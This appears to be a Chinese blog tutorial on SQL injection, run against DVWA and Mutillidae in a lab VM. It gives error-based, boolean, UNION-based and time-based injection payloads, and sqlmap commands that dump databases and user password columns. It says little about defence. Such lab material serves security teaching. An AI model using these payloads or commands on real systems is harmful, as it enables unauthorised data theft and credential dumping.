zoukankan      html  css  js  c++  java
  • SQL注入攻击及防御详解

    在owasp年度top 10 安全问题中,注入高居榜首。SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序, 而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地 过滤用户输入的数据,致使非法数据侵入系统。

    1. 对于Web应用程序而言,用户核心数据存储在数据库中,例如MySQL、SQL Server、Oracle;
    2. 通过SQL注入攻击,可以获取、修改、删除数据库信息,并且通过提权来控制Web服务器等其他操作;
    3. SQL注入即攻击者通过构造特殊的SQL语句,入侵目标系统,致使后台数据库泄露数据的过程;
    4. 因为SQL注入漏洞造成的严重危害性,所以常年稳居OWASP TOP10的榜首!

    1.实验说明

    目标靶机:OWASP_Broken_Web_Apps_VM_1.2
    下载地址
    测试渗透机:Kali-Linux-2018.2-vm-amd64
    下载地址

    1.SQL注入的危害
    1、拖库导致用户数据泄漏; 
    2、危害web等应用的安全; 
    3、失去操作系统的控制权; 
    4、用户信息被非法买卖; 
    5、危害企业及国家的安全!
    
    2.注入流程
    1. 判断是否有SQL注入漏洞; 
    2. 判断操作系统、数据库和web应用的类型; 
    3. 获取数据库信息,包括管理员信息及拖库;
    4.  加密信息破解,sqlmap可自动破解;
    5. 提升权限,获得sql-shell、os-shell、登录应用后台;
    

    2.手动注入实战

    1.基于错误的注入

    错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点; 通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。
    通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。
    在这里插入图片描述
    在这里插入图片描述

    SQL注入语句解析: 
    mysql> select first_name,last_name from dvwa.users; 
    mysql> select first_name,last_name from dvwa.users where user_id='1';
    #你输入1 相当于在最后的两个单引号中间插入一个1来执行mysql的查询语句
    

    怎么样判断我们是否可以注入呢?
    在这里插入图片描述
    会发生页面报错
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

    SQL注入语句解析: 
    mysql> select first_name,last_name from dvwa.users where user_id='''
    

    这就代表此网站我们可以注入,有注入点。

    2.基于布尔的注入

    这里面用到的是or,布尔逻辑注入的思路是闭合SQL语句,构造or逻辑语句、注释多余的代码
    在这里插入图片描述

    注入语句: ' or 1=1 -- ' 
    原始语句: 
    mysql> select first_name,last_name from dvwa.users where user_id='' 
    SQL注入语句解析: ' or 1=1 -- ' 
    mysql> select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- ' ' 
    说明:
    第一个' 用于闭合前面的条件 
    or 1=1 为真的条件 
    -- 将注释后面的所有语句
    仔细看where user_id=' ' or 1=1 -- ' '    这个条件语句
    user_id=' '  这个语句肯定是假的,因为我们的ID是阿拉伯数字,而这里面是空,所以为假
    但是1=1 这个语句肯定为真     -- ' '   是注释的意思,也就说后面的不用管
    or 表示有一个条件为真就是真
    那总得来说这个where语句一定为真
    整个语句的意思是从dvwa库的users表里面查询first_name,last_name两个字段的所有内容
    
    3.基于UNION注入
    UNION语句用于联合前面的SELECT查询语句,合并查询更多信息; 
    一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。 
    //猜测数据列数 
    ' union select 1 -- ' 
    ' union select 1,2 -- ' 
    ' union select 1,2,3 -- ' 
    ' union select 1,2,3,4 -- ' 
    SQL注入语句解析: 
    mysql> select first_name,last_name from dvwa.users where user_id='' union select 1 -- '' 
    mysql> select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- '' 
    
    //union是我们注入常用的方式,里面的1,2,3 代表的是字段名,union语句查询的时候,前后的
    字段数量必须相同,所以我们可以用数字代表字段,来猜测union之前的语句中有几个字段。这里
    显然只有两个字段。
    

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    你查询的不一定非要是字段,也可以是版本,表之类的
    //获得当前数据库及用户信息   
    'union select version(), database() -- ' 
    'union select user(), database() -- '
    //查询所有库名 
    'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '   
    #这里面的1 只是一个列的代替,没有什么含义,但是如果你缺了这个1 前后列数量不一样会报错的
    //查看所库中所有表名 
    'union select table_name, 1 from INFORMATION_SCHEMA.tables -- '
    //同时查询表名及对应库名 
    'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '
    //查询数据列 
    'union select NULL, user from users -- ' 'union select NULL, password from users -- '
    'union select user, password from users -- ' 'union select NULL, GRANTEE from USER_PRIVILEGES -- '
    因为union前面只有两个字段,那我们想要查询多个字段怎么办?
    用mysql自带的函数concat(),如
    'union select password, concat(first_name,' ',last_name,' ',user) from users -- '
    
    

    在这里插入图片描述

    4.基于时间的盲注

    有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点。

    1' and sleep(5) -- '
    SQL注入语句解析: 
    mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- ''
    

    在这里插入图片描述

    3.sqlmap自动化注入

    SQL注入比较好用的工具,首推开源工具SQLmap。SQLmap是一个国内外著名的安全稳定性测试工具,可以用来进行自动 化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳 定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系 统命令。 SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

    1.GET方法注入

    打开kali,用户名root 密码toor
    在这里插入图片描述
    查看帮助我们发现我们需要获取到网页的url
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    然后我们把该网页的连接复制下来在kali里面进行测试

    root@kali:~# sqlmap -u "http://192.168.13.144/mutillidae/index.php?page=user-info.php&username=yjssjm&password=123&user-info-php-submit-button=View+Account+Details"
    

    在这里插入图片描述
    在这里插入图片描述

    sqlmap参数解析: 
    --users      #所有用户
    --current-user #当前用户
    --dbs   #所有库
    --current-db   #当前库
    -D "database_name" --tables  #指定库名
    -D "database_name" -T "table_name" --columns  #指定库名和表名
    --dump-all   #所有的内容
    --dump-all --exclude-sysdbs 
    -D "database_name" -T "table_name" --dump   
    -D "database_name" -T "table_name" -C "username, password" --dump 
    #-C 指定字段
    --batch //自动化完成
    示例步骤: 
    1. 获得当前数据库 
    root@kali:~# sqlmap -u "你自己的url" --batch --current-db 
    2. 获得数据库表 
    root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp --tables 
    3. 获得表的字段 
    root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts --columns 
    4. 获得表中的数据 
    root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts -C "username, password" --dump
    
    2.POST方法注入

    需要带cookie才能访问的注入页面,--cookie=""
    在这里插入图片描述
    在这里插入图片描述

    root@kali:~# sqlmap -u "http://192.168.13.144/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=ehqbg9j6di70nk4ku6fm187co1; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --batch
    

    在这里插入图片描述
    参数跟get获取的参数一样,就是post需要用url+cookie

    你们的评论和点赞是我写文章的最大动力,蟹蟹。

  • 相关阅读:
    shell特殊符号cut命令 sort_wc_uniq命令 tee_tr_split命令 shell特殊符号
    管道符和作业控制 shell变量 环境变量配置文件
    8.1 shell介绍 8.2 命令历史 8.3 命令补全和别名 8.4 通配符 8.5 输入输出重定向 
    yum更换国内源 yum下载rpm包 源码包安装
    mysql Communication link failure, message from server: "Can't get hostname for your address"
    7.1 安装软件包的三种方法 7.2 rpm包介绍 7.3 rpm工具用法 7.4 yum工具用法 7.5 yum搭建本地仓库
    java 对象数组
    zip压缩工具 tar打包 打包并压缩
    java链接mysql 中文乱码
    压缩打包介绍/gzip压缩工具/bzip2压缩工具/xz压缩工具
  • 原文地址:https://www.cnblogs.com/yjssjm/p/12682618.html
Copyright © 2011-2022 走看看